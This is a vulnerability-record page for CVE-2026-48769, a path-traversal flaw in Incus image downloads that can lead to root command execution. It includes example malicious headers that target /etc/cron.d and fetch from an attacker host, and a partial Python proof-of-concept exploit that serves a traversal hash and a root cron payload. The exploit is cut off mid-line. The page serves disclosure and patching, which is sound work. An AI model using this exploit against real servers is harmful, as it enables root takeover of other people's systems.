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Response snapshot Nov 6, 2026, 03:20 UTC

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VulnerabilityCVE-2026-48769

Incus has an arbitrary file write on its client due to trusted image hash

An arbitrary file write exists in the Incus client when a malicious image server returns a crafted Incus-Image-Hash header. This can lead to arbitrary command execution as root on the server. - cmd/incusd/images.go:611-684 handles source.

Published Updated

At a glance

Exploited
Not known
Severity
9.9 Critical (CVSS 3.1)
Chance of exploitation
0.7% in the next 30 days
Sources
2 independent sources

What to do

GitHub lists first patched versions: github.com/lxc/incus/v7/cmd/incusd: 7.2.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-f6m5-xw2g-xc4x (opens a new tab)

What happened

Summary

An arbitrary file write exists in the Incus client when a malicious image server returns a crafted Incus-Image-Hash header. This can lead to arbitrary command execution as root on the server.

Details

- cmd/incusd/images.go:611-684 handles source.type=url by HEADing the user-supplied URL, reading Incus-Image-Hash and Incus-Image-URL, and passing them to imageDownload() as Alias and Server. - cmd/incusd/daemon_images.go:91-92 defaults fp to the caller-controlled alias string. - cmd/incusd/daemon_images.go:333-335 builds destName := filepath.Join(destDir, fp). - cmd/incusd/daemon_images.

Continue reading

go:469-523 enters the direct protocol branch, opens destName with os.Create(), and copies the HTTP response into that file. - cmd/incusd/daemon_images.go:528-532 validates the SHA-256 only after the file has already been created and populated. - cmd/incusd/daemon_images.go:337-344 cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.

A malicious image server returning something along the following will cause the arbitrary file write.

Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce
Incus-Image-URL: http://attacker/payload

PoC

The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked.

The following script was generated by an LLM.

#!/usr/bin/env python3
"""Direct image URL hash path traversal to transient host cron write.

For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/ ` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory.

Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file.

"""

from __future__ import annotations

import argparse
import http.client
import json
import shlex
import socket
import ssl
import sys
import threading
import time
import urllib.parse
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from typing import Any

DEFAULT_SOCKET = "/var/lib/incus/unix.socket"
DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce"

class UnixHTTPConnection(http.client.HTTPConnection):
 def __init__(self, socket_path: str, timeout: int = 120):
 super().__init__("incus", timeout=timeout)
 self.socket_path = socket_path

 def connect(self) -> None:
 sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
 sock.settimeout(self.timeout)
 sock.connect(self.socket_path)
 self.sock = sock

class RCEHTTPServer(ThreadingHTTPServer):
 hash_path: str
 advertise_url: str
 payload: bytes
 hold_seconds: int
 payload_requested: threading.Event

class DirectImageHandler(BaseHTTPRequestHandler):
 protocol_version = "HTTP/1.1"
 server_version = "direct-image-rce/1.0"

 def log_message(self, fmt: str, *args: Any) -> None:
 print(f"[http] {self.address_string()} - {fmt % args}", flush=True)

 def do_HEAD(self) -> None:
 if self.path != "/stage":
 self.send_error(404)
 return

 srv = self.server
 assert isinstance(srv, RCEHTTPServer)
 self.send_response(200)
 self.send_header("Incus-Image-Hash", srv.hash_path)
 self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload")
 self.send_header("Connection", "close")
 self.end_headers()

 def do_GET(self) -> None:
 if self.path != "/payload":
 self.send_error(404)
 return

 srv = self.server
 assert isinstance(srv, RCEHTTPServer)
 srv.payload_requested.set()

 self.send_response(200)
 self.send_header("Content-Type", "application/octet-stream")
 self.send_header("Cache-Control", "no-store")
 self.end_headers()
 self.wfile.write(srv.payload)
 self.wfile.flush()
 print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True)
 time.sleep(srv.hold_seconds)
 self.close_connection = True

def quote(value: str) -> str:
 return urllib.parse.quote(value, safe="")

def tls_context(args: argparse.Namespace) -> ssl.SSLContext:
 if args.insecure:
 ctx = ssl._create_unverified_context()
 else:
 ctx = ssl.create_default_context(cafile=args.cacert)

 if args.cert:
 ctx.load_cert_chain(args.cert, args.key)

 return ctx

def connection(args: argparse.Namespace) -> http.client.HTTPConnection:
 if args.url:
 parsed = urllib.parse.urlparse(args.url)
 if parsed.scheme != "https":
 raise ValueError("--url must use https")

 return http.client.HTTPSConnection(
 parsed.hostname,
 parsed.port or 8443,
 timeout=args.timeout,
 context=tls_context(args),
 )

 return UnixHTTPConnection(args.socket, timeout=args.timeout)

def request_json(
 args: argparse.Namespace,
 method: str,
 path: str,
 obj: dict[str, Any] | None,
 allow_error: bool = False,
) -> tuple[int, dict[str, Any]]:
 body = None if obj is None else json.dumps(obj).encode("utf-8")
 headers = {"Host": "incus"}
 if body is not None:
 headers["Content-Type"] = "application/json"

 conn = connection(args)
 conn.request(method, path, body=body, headers=headers)
 resp = conn.getresponse()
 raw = resp.read()
 conn.close()

 try:
 data = json.loads(raw) if raw else {}
 except json.JSONDecodeError:
 data = {"raw": raw.decode("utf-8", "replace")}

 if not allow_error and (resp.status >= 400 or data.get("type") == "error"):
 raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}")

 return resp.status, data

def images_path(project: str) -> str:
 return "/1.0/images?project=" + quote(project)

def cron_payload(command: str) -> bytes:
 return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8")

def image_url_body(project_url: str, public: bool) -> dict[str, Any]:
 return {
 "source": {
 "type": "u

Affected package ranges reported by GitHub:
github.com/lxc/incus/v7/cmd/incusd: < 7.2.0

Scores and how they were measured

CVSS base severity

9.9

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.7%

Scored Percentile 54.4%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

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Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-f6m5-xw2g-xc4x (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-f6m5-xw2g-xc4x, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    NVD CVE-2026-48769 (opens a new tab)

    NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation.

    Published Checked

  4. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  5. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  6. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  7. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-48769, scored 2026-11-05. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 6). Incus has an arbitrary file write on its client due to trusted image hash (CVE-2026-48769). https://kevwire.com/record/CVE-2026-48769

MLA

"Incus has an arbitrary file write on its client due to trusted image hash (CVE-2026-48769)." KEVWire, 6 Nov. 2026, kevwire.com/record/CVE-2026-48769.

Chicago

KEVWire. "Incus has an arbitrary file write on its client due to trusted image hash (CVE-2026-48769)." Last modified November 6, 2026. https://kevwire.com/record/CVE-2026-48769.

Evidence summary (plain text)

Incus has an arbitrary file write on its client due to trusted image hash (Jun 26, 2026).
An arbitrary file write exists in the Incus client when a malicious image server returns a crafted Incus-Image-Hash header. This can lead to arbitrary command execution as root on the server.

- cmd/incusd/images.go:611-684 handles source.type=url by HEADing the user-supplied URL, reading Incus-Image-Hash and Incus-Image-URL, and passing them to imageDownload() as Alias and Server.
- cmd/incusd/daemon_images.go:91-92 defaults fp to the caller-controlled alias string.
- cmd/incusd/daemon_images.go:333-335 builds destName := filepath.Join(destDir, fp).
CVSS 9.9 (version 3.1; evidence as of Nov 6, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-48769).
EPSS 0.7% for the following 30 days, scored Nov 5, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48769&date=2026-11-05).
Sources:
GitHub-reviewed advisory GHSA-f6m5-xw2g-xc4x: https://github.com/advisories/GHSA-f6m5-xw2g-xc4x
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-48769: https://nvd.nist.gov/vuln/detail/CVE-2026-48769
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-11-06T00:50:58.237Z&lastModEndDate=2026-11-06T02:30:58.048Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-11-06T00:20:56.644Z&lastModEndDate=2026-11-06T01:50:56.237Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-11-05T23:35:57.065Z&lastModEndDate=2026-11-06T01:20:55.558Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48769&date=2026-11-05
Record ID: CVE-2026-48769.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 6, 2026, 01:16 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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